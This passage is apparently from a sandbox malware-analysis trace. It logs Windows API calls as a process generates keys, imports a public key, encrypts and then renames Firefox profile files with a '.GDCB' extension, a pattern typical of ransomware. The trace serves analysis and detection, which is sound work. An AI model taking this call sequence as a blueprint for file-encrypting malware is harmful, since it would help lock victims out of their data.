Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cache2\\index.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\cache2\\index.log.gdcb")) returned 1 [0209.027] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0209.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.030] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.030] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0209.030] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0209.030] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0209.031] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.032] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0209.032] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.032] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0209.035] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508bc78) returned 1 [0209.035] CryptGetKeyParam (in: hKey=0x508bc78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0209.035] CryptEncrypt (in: hKey=0x508bc78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c60000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6c60000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0209.035] GetLastError () returned 0x0 [0209.035] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.035] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0209.038] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a778) returned 1 [0209.038] CryptGetKeyParam (in: hKey=0x508a778, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0209.038] CryptEncrypt (in: hKey=0x508a778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c70000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6c70000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0209.039] GetLastError () returned 0x0 [0209.039] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.039] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\directoryLinks.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\directorylinks.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0209.040] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0209.042] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0209.043] ReadFile (in: hFile=0x514, lpBuffer=0x6c90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesRead=0x285d3e8*=0x90f, lpOverlapped=0x0) returned 1 [0209.051] VirtualAlloc (lpAddress=0x0, dwSize=0x910, flAllocationType=0x3000, flProtect=0x4) returned 0x6da0000 [0209.056] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\directoryLinks.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\directorylinks.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\directoryLinks.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\directorylinks.json.gdcb")) returned 1 [0209.065] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0209.067] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.068] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.068] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.068] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.069] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.070] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.070] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.070] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.070] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0209.073] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64895c0) returned 1 [0209.073] CryptGetKeyParam (in: hKey=0x64895c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.073] CryptEncrypt (in: hKey=0x64895c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.073] GetLastError () returned 0x0 [0209.073] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.073] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0209.075] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489740) returned 1 [0209.075] CryptGetKeyParam (in: hKey=0x6489740, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.075] CryptEncrypt (in: hKey=0x6489740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6c70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.075] GetLastError () returned 0x0 [0209.075] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.075] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0209.077] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6c80000 [0209.078] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6c90000 [0209.080] ReadFile (in: hFile=0x518, lpBuffer=0x6c90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x6c90000*, lpNumberOfBytesRead=0x285d160*=0x40000, lpOverlapped=0x0) returned 1 [0209.132] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x6da0000 [0209.143] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\OfflineCache\\index.sqlite.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\offlinecache\\index.sqlite.gdcb")) returned 0 [0209.600] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.602] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.603] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.603] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.603] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0209.604] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.605] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.606] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.606] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.606] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.608] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64892c0) returned 1 [0209.608] CryptGetKeyParam (in: hKey=0x64892c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.608] CryptEncrypt (in: hKey=0x64892c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.608] GetLastError () returned 0x0 [0209.608] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.608] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0209.610] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64897c0) returned 1 [0209.610] CryptGetKeyParam (in: hKey=0x64897c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.610] CryptEncrypt (in: hKey=0x64897c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6c70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.610] GetLastError () returned 0x0 [0209.610] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0209.610] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.611] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0209.612] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.613] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.613] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.613] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0209.613] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0209.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.615] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.615] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.615] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.616] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0209.618] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489680) returned 1 [0209.618] CryptGetKeyParam (in: hKey=0x6489680, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.618] CryptEncrypt (in: hKey=0x6489680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6c80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.618] GetLastError () returned 0x0 [0209.618] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.618] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.620] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489640) returned 1 [0209.620] CryptGetKeyParam (in: hKey=0x6489640, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.620] CryptEncrypt (in: hKey=0x6489640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6c90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6c90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.620] GetLastError () returned 0x0 [0209.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.620] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\28c9257769b2913b70283ca4759e2034.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.621] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0209.622] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.623] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.623] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.623] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.623] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.626] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.626] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.626] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0209.628] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64891c0) returned 1 [0209.628] CryptGetKeyParam (in: hKey=0x64891c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.628] CryptEncrypt (in: hKey=0x64891c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ca0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6ca0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.628] GetLastError () returned 0x0 [0209.628] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0209.628] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.630] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489400) returned 1 [0209.630] CryptGetKeyParam (in: hKey=0x6489400, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.630] CryptEncrypt (in: hKey=0x6489400, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6cb0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6cb0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.630] GetLastError () returned 0x0 [0209.630] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.630] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\2bf8db03609478000e25532b94a93e81.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.631] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.633] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.633] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.633] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0209.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.635] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.635] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.635] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0209.636] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.639] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489200) returned 1 [0209.639] CryptGetKeyParam (in: hKey=0x6489200, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.639] CryptEncrypt (in: hKey=0x6489200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6cc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x6cc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0209.639] GetLastError () returned 0x0 [0209.639] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.639] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0209.641] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6489780) returned 1 [0209.641] CryptGetKeyParam (in: hKey=0x6489780, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0209.641] CryptEncrypt (in: hKey=0x6489780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6cd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x6cd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0209.641] GetLastError () returned 0x0 [0209.641] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.641] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\5d432dc88d56856d87faecfa9b48853b.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0209.642] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0209.643] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.644] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.644] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0209.644] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0209.644] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0209.645] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0209.646] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0209.646] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0209.646] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0209.647] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", 